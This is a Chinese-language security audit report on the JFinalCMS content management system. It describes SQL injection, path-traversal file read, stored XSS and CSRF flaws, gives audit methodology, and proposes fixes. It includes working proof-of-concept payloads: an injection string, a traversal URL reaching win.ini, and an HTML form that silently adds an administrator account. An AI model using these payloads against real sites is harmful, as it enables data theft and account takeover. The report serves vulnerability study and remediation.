某cms代码审计
字数 1431 2025-08-19 12:42:20
JFinalCMS代码审计报告
1. 系统概述
JFinalCMS是一款轻量级CMS系统,具有以下特点:
- 小巧、灵活、简单、易用
- 支持动态添加字段和自定义标签
- 支持动态创建数据库表并CRUD数据
- 提供数据库备份/还原功能
- 支持多站点功能
- 支持一键生成模板代码
2. 安全漏洞分析
2.1 SQL注入漏洞
漏洞位置:/search路由
漏洞分析:
- 请求流程:
ActionHandler→render→exec→findPage - 关键问题:
keyword参数未经过任何过滤和转义,直接使用字符串拼接方式构造SQL语句 - 调试关键点:需在
statArray[21]时跟进,其他元素仅执行模板文件读取和渲染
漏洞验证:
/search?keyword=test' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--
2.2 任意文件读取漏洞
漏洞位置:/common/down/file路由
漏洞分析:
- 获取
fileKey参数时未过滤../等目录遍历字符 - 文件路径构造方式:
PathKit.getWebRootPath() + fileKey - 即使返回404状态码,文件读取操作仍会执行
漏洞验证:
/common/down/file?fileKey=/../../../../../../../../../../windows/win.ini
2.3 存储型XSS漏洞
漏洞位置:留言板功能(/guestbook)
漏洞分析:
- 数据处理流程:
Guestbook guestbook = getModel(Guestbook.class,"",true); // 最终调用save()方法直接存入数据库 getModel方法内部调用injectModel,通过反射将请求参数映射到模型对象- 开发者预留了
filter方法但未实现任何过滤逻辑 - 前端展示时未进行输出编码
漏洞验证:
2.4 CSRF漏洞
漏洞位置:后台管理员添加功能(/admin/admin/save)
漏洞分析:
- 关键缺失:
- 无Referer检查
- 无CSRF Token验证
- 前端表单未包含任何防CSRF措施
漏洞验证POC:
<html>
<body>
<form action="http://localhost:8080/admin/admin/save" method="POST">
<input type="hidden" name="username" value="attacker"/>
<input type="hidden" name="password" value="attacker"/>
<input type="hidden" name="rePassword" value="attacker"/>
<input type="hidden" name="name" value="attacker"/>
<input type="hidden" name="roleIds" value="1"/>
<input type="submit" value="Submit"/>
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>
3. 代码审计方法论
3.1 审计技巧
-
入口点分析:
- 首先检查
web.xml中的过滤器配置 - 关注
JFinalFilter等核心过滤器的限制规则
- 首先检查
-
参数传递跟踪:
- 从Controller基类(
BaseController)开始分析 - 重点关注参数获取方法(
getPara系列方法)
- 从Controller基类(
-
SQL注入检测:
- 查找直接拼接SQL语句的位置
- 检查参数是否经过预编译或转义处理
-
文件操作检测:
- 查找文件路径拼接操作
- 检查是否对
../等特殊字符进行过滤
-
XSS检测:
- 检查输入输出是否经过过滤或编码
- 特别关注存储型XSS的数据持久化路径
3.2 调试技巧
-
关键断点设置:
ActionHandler的render方法- SQL执行前的参数构造阶段
- 文件操作前的路径拼接阶段
-
404页面处理:
- 即使返回404也要检查是否执行了敏感操作
- 404页面本身可能存在XSS或URL跳转漏洞
4. 修复建议
4.1 SQL注入修复
- 使用预编译语句:
Db.find("SELECT * FROM table WHERE name = ?", keyword);
- 添加参数过滤:
String safeKeyword = SqlFilter.filter(keyword);
4.2 任意文件读取修复
- 路径规范化检查:
Path normalizedPath = Paths.get(basePath).normalize();
if(!normalizedPath.startsWith(basePath)) {
throw new SecurityException("Invalid file path");
}
- 文件扩展名白名单:
String[] allowedExtensions = {".txt", ".pdf", ".doc"};
// 检查文件扩展名是否在白名单内
4.3 XSS修复
- 输入过滤:
public String filter(String input) {
return HtmlUtils.htmlEscape(input);
}
- 输出编码:
<c:out value="${userContent}" />
4.4 CSRF修复
- 添加CSRF Token:
// 生成Token
String token = UUID.randomUUID().toString();
session.setAttribute("csrfToken", token);
// 验证Token
if(!request.getParameter("csrfToken").equals(session.getAttribute("csrfToken"))) {
throw new SecurityException("CSRF token validation failed");
}
- 同源检查:
String referer = request.getHeader("Referer");
if(referer == null || !referer.startsWith("https://yourdomain.com")) {
throw new SecurityException("Invalid Referer");
}
5. 经验总结
- 全面性:不要忽略任何页面,包括错误页面
- 深入性:漏洞往往存在于多层调用之后,需要耐心跟踪
- 关联性:发现一个漏洞后,应检查类似功能的代码是否存在相同问题
- 防御性:安全措施应该层层设防,不能依赖单一防护手段
通过本次审计,我们不仅发现了具体漏洞,更重要的是建立了系统的代码审计方法论,这对未来审计其他系统具有重要指导意义。